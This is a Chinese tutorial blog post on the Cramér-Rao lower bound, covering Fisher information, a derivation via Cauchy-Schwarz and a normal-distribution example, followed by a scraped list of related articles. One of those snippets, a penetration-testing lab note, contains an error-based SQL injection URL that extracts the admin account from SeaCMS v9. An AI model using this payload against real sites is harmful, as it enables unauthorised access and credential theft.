Cramér-Rao界:参数估计精度的“理论底线”
Cramér-Rao界:参数估计精度的“理论底线”
在统计学中,当我们用数据估计一个模型的参数时,总希望估计结果尽可能精确。但精度有没有一个理论上的“底线”呢?答案是有的,这就是Cramér-Rao界(Cramér-Rao Lower Bound, CRLB)。它通过Fisher信息矩阵的正定性,给出了无偏估计协方差的最低下限。简单来说,它告诉我们:再怎么努力,你的估计精度也超不过这个界限。今天我们就来聊聊Cramér-Rao界的由来、意义和应用。
什么是Cramér-Rao界?
Cramér-Rao界是一个统计定理,用来衡量无偏估计器(unbiased estimator)的精度。假设我们有一个参数 ( θ \theta θ )(可以是向量),用数据 ( x x x ) 估计它,得到估计量 ( θ ^ \hat{\theta} θ^ )。如果 ( θ ^ \hat{\theta} θ^ ) 是无偏的(即 ( E [ θ ^ ] = θ E[\hat{\theta}] = \theta E[θ^]=θ )),它的协方差矩阵满足:
Cov ( θ ^ ) ≥ I ( θ ) − 1 \text{Cov}(\hat{\theta}) \geq I(\theta)^{-1} Cov(θ^)≥I(θ)−1
- ( Cov ( θ ^ ) \text{Cov}(\hat{\theta}) Cov(θ^) ):估计量 ( θ ^ \hat{\theta} θ^ ) 的协方差矩阵,反映估计的分散程度。
- ( I ( θ ) I(\theta) I(θ) ):Fisher信息矩阵,衡量数据提供的参数信息。
- ( ≥ \geq ≥ ):表示矩阵意义上的不等式(即 ( Cov ( θ ^ ) − I ( θ ) − 1 \text{Cov}(\hat{\theta}) - I(\theta)^{-1} Cov(θ^)−I(θ)−1 ) 是半正定的)。
如果 ( θ \theta θ ) 是标量,方差形式更简单:
Var ( θ ^ ) ≥ 1 I ( θ ) \text{Var}(\hat{\theta}) \geq \frac{1}{I(\theta)} Var(θ^)≥I(θ)1
通俗比喻
想象你在射箭,想尽可能靠近靶心(真实参数 ( θ \theta θ ))。Cramér-Rao界就像一个“靶环”,告诉你箭的散布范围(方差或协方差)不可能小于这个环。Fisher信息矩阵 ( I ( θ ) I(\theta) I(θ) ) 则像弓箭的质量,信息越多(( I ( θ ) I(\theta) I(θ) ) 越大),靶环越小,精度越高。
Fisher信息矩阵与正定性
Fisher信息矩阵定义为:
I ( θ ) i j = E [ ∂ log p ( x ∣ θ ) ∂ θ i ∂ log p ( x ∣ θ ) ∂ θ j ∣ θ ] I(\theta)_{ij} = E\left[ \frac{\partial \log p(x|\theta)}{\partial \theta_i} \frac{\partial \log p(x|\theta)}{\partial \theta_j} \bigg| \theta \right] I(θ)ij=E[∂θi∂logp(x∣θ)∂θj∂logp(x∣θ) θ]
或等价地:
I ( θ ) i j = − E [ ∂ 2 log p ( x ∣ θ ) ∂ θ i ∂ θ j ∣ θ ] I(\theta)_{ij} = -E\left[ \frac{\partial^2 \log p(x|\theta)}{\partial \theta_i \partial \theta_j} \bigg| \theta \right] I(θ)ij=−E[∂θi∂θj∂2logp(x∣θ) θ]
如果模型是可识别的(不同 ( θ \theta θ ) 对应不同分布),( I ( θ ) I(\theta) I(θ) ) 通常是正定的,即对任意非零向量 ( v v v ):
v T I ( θ ) v > 0 v^T I(\theta) v > 0 vTI(θ)v>0
正定性的作用
- 逆矩阵存在:正定保证 ( I ( θ ) I(\theta) I(θ) ) 可逆,( I ( θ ) − 1 I(\theta)^{-1} I(θ)−1 ) 存在。
- 正定逆矩阵:( I ( θ ) − 1 I(\theta)^{-1} I(θ)−1 ) 也是正定的,意味着它是一个有效的协方差矩阵(对角元素非负)。
- 精度量化:( I ( θ ) − 1 I(\theta)^{-1} I(θ)−1 ) 提供了估计精度的理论下界。
Cramér-Rao界的推导(简要版)
为什么协方差有这个下界?我们用一个直观的推导来说明(以标量为例,多参数类似)。
假设
- ( θ ^ \hat{\theta} θ^ ) 是 ( θ \theta θ ) 的无偏估计:( E [ θ ^ ] = θ E[\hat{\theta}] = \theta E[θ^]=θ )。
- 得分函数 ( s ( θ ) = ∂ log p ( x ∣ θ ) ∂ θ s(\theta) = \frac{\partial \log p(x|\theta)}{\partial \theta} s(θ)=∂θ∂logp(x∣θ) ),( E [ s ( θ ) ] = 0 E[s(\theta)] = 0 E[s(θ)]=0 )。
关键步骤
由于 ( E [ θ ^ ] = θ E[\hat{\theta}] = \theta E[θ^]=θ ),对 ( θ \theta θ ) 求导:
∂ ∂ θ E [ θ ^ ] = ∫ θ ^ ( x ) ∂ p ( x ∣ θ ) ∂ θ d x = 1 \frac{\partial}{\partial \theta} E[\hat{\theta}] = \int \hat{\theta}(x) \frac{\partial p(x|\theta)}{\partial \theta} \, dx = 1 ∂θ∂E[θ^]=∫θ^(x)∂θ∂p(x∣θ)dx=1 (分别左右两边求导,左边求导是积分这一项,右边 θ \theta θ对自己求导是1, 具体请看后文推导)
因为 ( ∂ p ∂ θ = p ⋅ ∂ log p ∂ θ = p ⋅ s \frac{\partial p}{\partial \theta} = p \cdot \frac{\partial \log p}{\partial \theta} = p \cdot s ∂θ∂p=p⋅∂θ∂logp=p⋅s ),所以:
∫ θ ^ ( x ) p ( x ∣ θ ) s ( x ∣ θ ) d x = 1 \int \hat{\theta}(x) p(x|\theta) s(x|\theta) \, dx = 1 ∫θ^(x)p(x∣θ)s(x∣θ)dx=1
改写:
E [ θ ^ s ] = 1 E[\hat{\theta} s] = 1 E[θ^s]=1
考虑 ( θ ^ − θ \hat{\theta} - \theta θ^−θ )(估计误差),因为 ( E [ θ ^ ] = θ E[\hat{\theta}] = \theta E[θ^]=θ ):
E [ ( θ ^ − θ ) s ] = E [ θ ^ s ] − E [ θ s ] = 1 − 0 = 1 E[(\hat{\theta} - \theta) s] = E[\hat{\theta} s] - E[\theta s] = 1 - 0 = 1 E[(θ^−θ)s]=E[θ^s]−E[θs]=1−0=1
这是因为:
E [ θ s ] = θ E [ s ] = θ ⋅ 0 = 0 E[\theta s] = \theta E[s] = \theta \cdot 0 = 0 E[θs]=θE[s]=θ⋅0=0
其中 ( θ \theta θ ) 是常数(真实参数),可以提出来,而 ( E [ s ] = 0 E[s] = 0 E[s]=0 ),所以 ( E [ θ s ] = 0 E[\theta s] = 0 E[θs]=0 )。
应用柯西-施瓦茨不等式
对于随机变量 ( X = θ ^ − θ X = \hat{\theta} - \theta X=θ^−θ ) 和 ( Y = s Y = s Y=s ):
( E [ X Y ] ) 2 ≤ E [ X 2 ] E [ Y 2 ] (E[XY])^2 \leq E[X^2] E[Y^2] (E[XY])2≤E[X2]E[Y2]
代入:
1 2 ≤ E [ ( θ ^ − θ ) 2 ] E [ s 2 ] 1^2 \leq E[(\hat{\theta} - \theta)^2] E[s^2] 12≤E[(θ^−θ)2]E[s2]
- ( E [ ( θ ^ − θ ) 2 ] = Var ( θ ^ ) E[(\hat{\theta} - \theta)^2] = \text{Var}(\hat{\theta}) E[(θ^−θ)2]=Var(θ^) )(无偏估计的方差)。
- ( E [ s 2 ] = I ( θ ) E[s^2] = I(\theta) E[s2]=I(θ) )(Fisher信息)。
于是:
1 ≤ Var ( θ ^ ) ⋅ I ( θ ) 1 \leq \text{Var}(\hat{\theta}) \cdot I(\theta) 1≤Var(θ^)⋅I(θ)
Var ( θ ^ ) ≥ 1 I ( θ ) \text{Var}(\hat{\theta}) \geq \frac{1}{I(\theta)} Var(θ^)≥I(θ)1
多参数情况下,协方差矩阵的不等式通过类似方法(矩阵形式的柯西-施瓦茨)得出:
Cov ( θ ^ ) ≥ I ( θ ) − 1 \text{Cov}(\hat{\theta}) \geq I(\theta)^{-1} Cov(θ^)≥I(θ)−1
Cramér-Rao界的意义
1. 精度下限
CRLB告诉我们,无论用什么方法,只要估计是无偏的,其协方差(或方差)都不可能低于 ( I ( θ ) − 1 I(\theta)^{-1} I(θ)−1 )。这为估计器的性能设定了“理论底线”。
2. 有效估计(Efficient Estimator)
如果某个估计 ( θ ^ \hat{\theta} θ^ ) 的协方差恰好等于 ( I ( θ ) − 1 I(\theta)^{-1} I(θ)−1 )(达到CRLB),它被称为“有效估计”。例如,最大似然估计(MLE)在大样本下常达到此界。
3. Fisher信息的角色
( I ( θ ) I(\theta) I(θ) ) 越大(信息越多),( I ( θ ) − 1 I(\theta)^{-1} I(θ)−1 ) 越小,估计精度越高。反之,信息少时,精度受限。
例子:正态分布
对于 ( x ∼ N ( μ , σ 2 ) x \sim N(\mu, \sigma^2) x∼N(μ,σ2) ),已知 ( σ 2 \sigma^2 σ2 ):
- ( I ( μ ) = 1 σ 2 I(\mu) = \frac{1}{\sigma^2} I(μ)=σ21 )
- ( Var ( μ ^ ) ≥ σ 2 n \text{Var}(\hat{\mu}) \geq \frac{\sigma^2}{n} Var(μ^)≥nσ2 )(( n n n ) 是样本量)。
- 样本均值 ( μ ^ = 1 n ∑ x i \hat{\mu} = \frac{1}{n} \sum x_i μ^=n1∑xi ) 的方差正好是 ( σ 2 n \frac{\sigma^2}{n} nσ2 ),达到CRLB,是有效估计。
实际应用
1. 评估估计器性能
设计一个估计器后,拿它的协方差与CRLB对比:
- 如果接近,说明很优秀。
- 如果远超,可能是偏倚或效率低。
2. 实验设计
CRLB帮助优化数据采集。例如,增大样本量 ( n n n ) 或减少噪声 ( σ 2 \sigma^2 σ2 ),使 ( I ( θ ) I(\theta) I(θ) ) 变大,提升精度。
3. 机器学习
在深度学习中,Fisher信息矩阵用于优化(如自然梯度下降)。CRLB启发我们通过信息最大化改进模型。
总结
Cramér-Rao界是参数估计的“金标准”,通过Fisher信息矩阵的正定性,设定了一个协方差下界。正定保证 ( I ( θ ) − 1 I(\theta)^{-1} I(θ)−1 ) 有效,量化了估计精度的极限。它不仅告诉我们“能有多准”,还指导我们如何设计更好的估计器。下次做估计时,不妨算算CRLB,看看你的方法离“完美”有多远!
补充:为什么 ( ∂ ∂ θ E [ θ ^ ] = 1 \frac{\partial}{\partial \theta} E[\hat{\theta}] = 1 ∂θ∂E[θ^]=1 )?
在Cramér-Rao界的推导中,我们假设 ( θ ^ \hat{\theta} θ^ ) 是 ( θ \theta θ ) 的无偏估计,即:
E [ θ ^ ] = θ E[\hat{\theta}] = \theta E[θ^]=θ
这意味着对于任意真实的参数值 ( θ \theta θ ),估计量 ( θ ^ \hat{\theta} θ^ ) 的期望始终等于 ( θ \theta θ )。现在,我们对这个等式两边对 ( θ \theta θ ) 求导,看看会发生什么。
推导步骤
-
左侧求导:
∂ ∂ θ E [ θ ^ ] = ∂ ∂ θ θ \frac{\partial}{\partial \theta} E[\hat{\theta}] = \frac{\partial}{\partial \theta} \theta ∂θ∂E[θ^]=∂θ∂θ
因为 ( E [ θ ^ ] = θ E[\hat{\theta}] = \theta E[θ^]=θ ) 是一个恒等式,( θ \theta θ ) 对 ( θ \theta θ ) 的导数显然是:
∂ θ ∂ θ = 1 \frac{\partial \theta}{\partial \theta} = 1 ∂θ∂θ=1
所以左侧等于1。 -
右侧求导:
( E [ θ ^ ] E[\hat{\theta}] E[θ^] ) 是期望,表示为积分形式:
E [ θ ^ ] = ∫ θ ^ ( x ) p ( x ∣ θ ) d x E[\hat{\theta}] = \int \hat{\theta}(x) p(x|\theta) \, dx E[θ^]=∫θ^(x)p(x∣θ)dx
现在对 ( θ \theta θ ) 求导:
∂ ∂ θ E [ θ ^ ] = ∂ ∂ θ ∫ θ ^ ( x ) p ( x ∣ θ ) d x \frac{\partial}{\partial \theta} E[\hat{\theta}] = \frac{\partial}{\partial \theta} \int \hat{\theta}(x) p(x|\theta) \, dx ∂θ∂E[θ^]=∂θ∂∫θ^(x)p(x∣θ)dx
在正则条件下(积分和导数可以交换顺序),导数可以移到积分内部:
= ∫ θ ^ ( x ) ∂ p ( x ∣ θ ) ∂ θ d x = \int \hat{\theta}(x) \frac{\partial p(x|\theta)}{\partial \theta} \, dx =∫θ^(x)∂θ∂p(x∣θ)dx
(注意 ( θ ^ ( x ) \hat{\theta}(x) θ^(x)) 是 ( x x x ) 的函数,不依赖 ( θ \theta θ ),所以导数只作用于 ( p ( x ∣ θ ) p(x|\theta) p(x∣θ) ))。 -
得分函数的引入:
我们知道:
∂ p ( x ∣ θ ) ∂ θ = p ( x ∣ θ ) ∂ log p ( x ∣ θ ) ∂ θ = p ( x ∣ θ ) s ( x ∣ θ ) \frac{\partial p(x|\theta)}{\partial \theta} = p(x|\theta) \frac{\partial \log p(x|\theta)}{\partial \theta} = p(x|\theta) s(x|\theta) ∂θ∂p(x∣θ)=p(x∣θ)∂θ∂logp(x∣θ)=p(x∣θ)s(x∣θ)
其中 ( s ( x ∣ θ ) = ∂ log p ( x ∣ θ ) ∂ θ s(x|\theta) = \frac{\partial \log p(x|\theta)}{\partial \theta} s(x∣θ)=∂θ∂logp(x∣θ) ) 是得分函数。所以:
∂ ∂ θ E [ θ ^ ] = ∫ θ ^ ( x ) p ( x ∣ θ ) s ( x ∣ θ ) d x = E [ θ ^ s ] \frac{\partial}{\partial \theta} E[\hat{\theta}] = \int \hat{\theta}(x) p(x|\theta) s(x|\theta) \, dx = E[\hat{\theta} s] ∂θ∂E[θ^]=∫θ^(x)p(x∣θ)s(x∣θ)dx=E[θ^s] -
等于1的原因:
从步骤1我们知道左侧是1,因此:
E [ θ ^ s ] = 1 E[\hat{\theta} s] = 1 E[θ^s]=1
这表明无偏估计 ( θ ^ \hat{\theta} θ^ ) 和得分函数 ( s s s ) 的乘积期望恒等于1。这是一个关键性质,反映了 ( θ ^ \hat{\theta} θ^ ) 的无偏性如何与似然函数的梯度关联起来。
为什么是1?
直观上,( E [ θ ^ ] = θ E[\hat{\theta}] = \theta E[θ^]=θ ) 是一个关于 ( θ \theta θ ) 的恒等式,它的“变化率”是1。而右侧积分 ( E [ θ ^ s ] E[\hat{\theta} s] E[θ^s] ) 是这种变化率的统计表达,等于1是因为得分函数 ( s ) 捕捉了似然对 ( θ \theta θ ) 的敏感度,而 ( θ ^ \hat{\theta} θ^ ) 的无偏性保证了这种敏感度的期望恰好平衡为1。
后记
2025年2月25日13点24分于上海,在Grok3大模型辅助下完成。
相关文章:
Cramér-Rao界:参数估计精度的“理论底线”
Cramr-Rao界:参数估计精度的“理论底线” 在统计学中,当我们用数据估计一个模型的参数时,总希望估计结果尽可能精确。但精度有没有一个理论上的“底线”呢?答案是有的,这就是Cramr-Rao界(Cramr-Rao Lower …...
nv docker image 下载与使用命令备忘
1,系统需求 Requirements for GPU Simulation GPU Architectures Volta, Turing, Ampere, Ada, Hopper NVIDIA GPU with Compute Capability 7.0 CUDA 11.x (Driver 470.57.02), 12.x (Driver 525.60.13) Supported Systems CPU architectures x86_64, ARM…...
C#连接sql server
连接时,出现如下提示: ERROR [IM014] [Microsoft][ODBC 驱动程序管理器] 在指定的 DSN 中,驱动程序和应用程序之间的体系结构不匹配 原因是odbc的驱动和应用程序的架构不一致。我的odbc如下所示: 显示为64位,而c#程序显…...
汽车智能制造企业数字化转型SAP解决方案总结
一、项目实施概述 项目阶段划分: 蓝图设计阶段主数据管理方案各模块蓝图设计方案下一阶段工作计划 关键里程碑: 2022年6月6日:项目启动会2022年12月1日:系统上线 二、总体目标 通过SAP实施,构建研产供销协同、业财一…...
vue2项目打包后js文件过大, 首次加载缓慢
vue2项目打包后js文件过大, 首次加载缓慢 安装插件 npm i compression-webpack-plugin6.1.1 -D配置vue.config.js const CompressionWebpackPlugin require(compression-webpack-plugin)module.exports {configureWebpack: {plugins:[new CompressionWebpackPlugin({filen…...
数据安全_笔记系列06:数据生命周期管理(存储、传输、使用、销毁)深度解析
数据安全_笔记系列06:数据生命周期管理(存储、传输、使用、销毁)深度解析 数据生命周期管理(存储、传输、使用、销毁)详解 数据生命周期管理(Data Lifecycle Management, DLM)是围绕数据从创建…...
机器学习数学基础:32.斯皮尔曼等级相关
斯皮尔曼等级相关教程 一、定义与原理 斯皮尔曼等级相关系数(Spearman’s rank - correlation coefficient),常用 ρ \rho ρ表示,是一种非参数统计量,用于衡量两个变量的等级之间的关联程度。它基于变量的秩次&…...
【AI-39】深度学习框架包含哪些内容
深度学习框架(如 PyTorch、TensorFlow)是用于构建和训练神经网络的工具,它们提供了底层的计算库、优化算法、张量操作等功能。而transformers库是基于这些深度学习框架构建的高级库,它封装了许多预训练模型和相关的工具࿰…...
uniapp h5支付宝支付
第1种,创建个div插入到body中 const div document.createElement(div); div.innerHTML 后端返回的form表单字符串; document.body.appendChild(div); document.forms[0].submit(); div.remove(); 第2种 <template> <view v-html"formAliPay"…...
探索YOLO技术:目标检测的高效解决方案
第一章:计算机视觉中图像的基础认知 第二章:计算机视觉:卷积神经网络(CNN)基本概念(一) 第三章:计算机视觉:卷积神经网络(CNN)基本概念(二) 第四章:搭建一个经典的LeNet5神经网络(附代码) 第五章࿱…...
vmware虚拟机安装使用教程【视频】
vmware虚拟机安装使用教程【视频】 VMware是一款强大的桌面级虚拟化软件,它允许用户在单个计算机上同时运行多个操作系统,每个操作系统都被称为一个虚拟机(VM)。这种技术不仅方便了软件测试、系统开发,还便于资源管理&…...
2025系统架构师(一考就过):案例之三:架构风格总结
软件架构风格是描述某一特定应用领域中系统组织方式的惯用模式,按照软件架构风格,物联网系统属于( )软件架构风格。 A:层次型 B:事件系统 C:数据线 D:C2 答案:A 解析: 物联网分为多个层次࿰…...
渗透测试实验
1、seacmsv9注入管理员密码 获取管理员账号(name) http://www.test2.com/comment/api/index.php?gid1&page2&rlist[]%27,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(name)from%20sea_admin))),%27 2、获取管理员密码 http://www…...
CCA社群共識聯盟正式上線
2025年2月25日——BAF區塊鏈產業聯盟基金會旗下的CCA社群共識聯盟業務於今日正式全網啟動。作為區塊鏈行業的創新平台,CCA社群共識聯盟秉承誠信、公平、共贏的核心原則,致力於為全球社群夥伴打造一個更加開放、透明與高效的合作生態,推動區塊鏈產業的健康發展。 創新平台,助力…...
京东-零售-数据研发面经【附答案】
近期,有参加春招的同学和我交流了他的面试历程,我针对这些内容进行了细致的总结与梳理,并在此分享出来,希望能助力大家学习与借鉴。 1.八股文 1)HashMap的底层原理是什么【见V6.0面试笔记 Java基础部分第19题】 2&am…...
python中的JSON数据格式
文章目录 什么是json主要功能Python数据和Json数据的相互转化 什么是json JSON是一种轻量级的数据交互格式。可以按照JSON指定的格式去组织和封装数据。JSON本质上是一个带有特定格式的字符串。 主要功能 json就是一种在各个编程语言中流通的数据格式,负责不同编…...
ubuntu+aarch64+dbeaver安装【亲测,避坑】
一:访问 Oracle JDK,下载jdk-11.0.26_linux-aarch64_bin.tar.gz 二:解压 tar -xvzf jdk-11.0.20_linux-x64_bin.tar.gz三:将解压后的 JDK 文件夹移动到 /usr/lib/jvm 目录 sudo mv jdk-11.0.26 /usr/lib/jvm/四:进入…...
Java 大视界 -- 基于 Java 的大数据机器学习模型压缩与部署优化(99)
💖亲爱的朋友们,热烈欢迎来到 青云交的博客!能与诸位在此相逢,我倍感荣幸。在这飞速更迭的时代,我们都渴望一方心灵净土,而 我的博客 正是这样温暖的所在。这里为你呈上趣味与实用兼具的知识,也…...
vscode中使用PlatformIO创建工程加载慢
最近使用vscodeplatformIO开发esp32s3,第一次创建工程时加载速度很慢,查询资料解决问题,特此记录。 1.新建环境变量pyhton 此电脑-属性-高级系统设置中(直接搜索高级系统设置也行),添加系统变量ÿ…...
微信小程序数据绑定与事件处理:打造动态交互体验
在上一篇中,我们学习了如何搭建微信小程序的开发环境并创建了一个简单的“Hello World”页面。然而,一个真正的小程序不仅仅是静态内容的展示,它需要与用户进行动态交互。本文将深入探讨微信小程序中的数据绑定和事件处理机制,通过…...
AI Agent与Agentic AI:原理、应用、挑战与未来展望
文章目录 一、引言二、AI Agent与Agentic AI的兴起2.1 技术契机与生态成熟2.2 Agent的定义与特征2.3 Agent的发展历程 三、AI Agent的核心技术栈解密3.1 感知模块代码示例:使用Python和OpenCV进行图像识别 3.2 认知与决策模块代码示例:使用OpenAI GPT-3进…...
【解密LSTM、GRU如何解决传统RNN梯度消失问题】
解密LSTM与GRU:如何让RNN变得更聪明? 在深度学习的世界里,循环神经网络(RNN)以其卓越的序列数据处理能力广泛应用于自然语言处理、时间序列预测等领域。然而,传统RNN存在的一个严重问题——梯度消失&#…...
Spring数据访问模块设计
前面我们已经完成了IoC和web模块的设计,聪明的码友立马就知道了,该到数据访问模块了,要不就这俩玩个6啊,查库势在必行,至此,它来了。 一、核心设计理念 1、痛点在哪 应用离不开数据(数据库、No…...
Mac下Android Studio扫描根目录卡死问题记录
环境信息 操作系统: macOS 15.5 (Apple M2芯片)Android Studio版本: Meerkat Feature Drop | 2024.3.2 Patch 1 (Build #AI-243.26053.27.2432.13536105, 2025年5月22日构建) 问题现象 在项目开发过程中,提示一个依赖外部头文件的cpp源文件需要同步,点…...
mac 安装homebrew (nvm 及git)
mac 安装nvm 及git 万恶之源 mac 安装这些东西离不开Xcode。及homebrew 一、先说安装git步骤 通用: 方法一:使用 Homebrew 安装 Git(推荐) 步骤如下:打开终端(Terminal.app) 1.安装 Homebrew…...
一些实用的chrome扩展0x01
简介 浏览器扩展程序有助于自动化任务、查找隐藏的漏洞、隐藏自身痕迹。以下列出了一些必备扩展程序,无论是测试应用程序、搜寻漏洞还是收集情报,它们都能提升工作流程。 FoxyProxy 代理管理工具,此扩展简化了使用代理(如 Burp…...
GraphRAG优化新思路-开源的ROGRAG框架
目前的如微软开源的GraphRAG的工作流程都较为复杂,难以孤立地评估各个组件的贡献,传统的检索方法在处理复杂推理任务时可能不够有效,特别是在需要理解实体间关系或多跳知识的情况下。先说结论,看完后感觉这个框架性能上不会比Grap…...
比特币:固若金汤的数字堡垒与它的四道防线
第一道防线:机密信函——无法破解的哈希加密 将每一笔比特币交易比作一封在堡垒内部传递的机密信函。 解释“哈希”(Hashing)就是一种军事级的加密术(SHA-256),能将信函内容(交易细节…...
初探用uniapp写微信小程序遇到的问题及解决(vue3+ts)
零、关于开发思路 (一)拿到工作任务,先理清楚需求 1.逻辑部分 不放过原型里说的每一句话,有疑惑的部分该问产品/测试/之前的开发就问 2.页面部分(含国际化) 整体看过需要开发页面的原型后,分类一下哪些组件/样式可以复用,直接提取出来使用 (时间充分的前提下,不…...
【汇编逆向系列】六、函数调用包含多个参数之多个整型-参数压栈顺序,rcx,rdx,r8,r9寄存器
从本章节开始,进入到函数有多个参数的情况,前面几个章节中介绍了整型和浮点型使用了不同的寄存器在进行函数传参,ECX是整型的第一个参数的寄存器,那么多个参数的情况下函数如何传参,下面展开介绍参数为整型时候的几种情…...
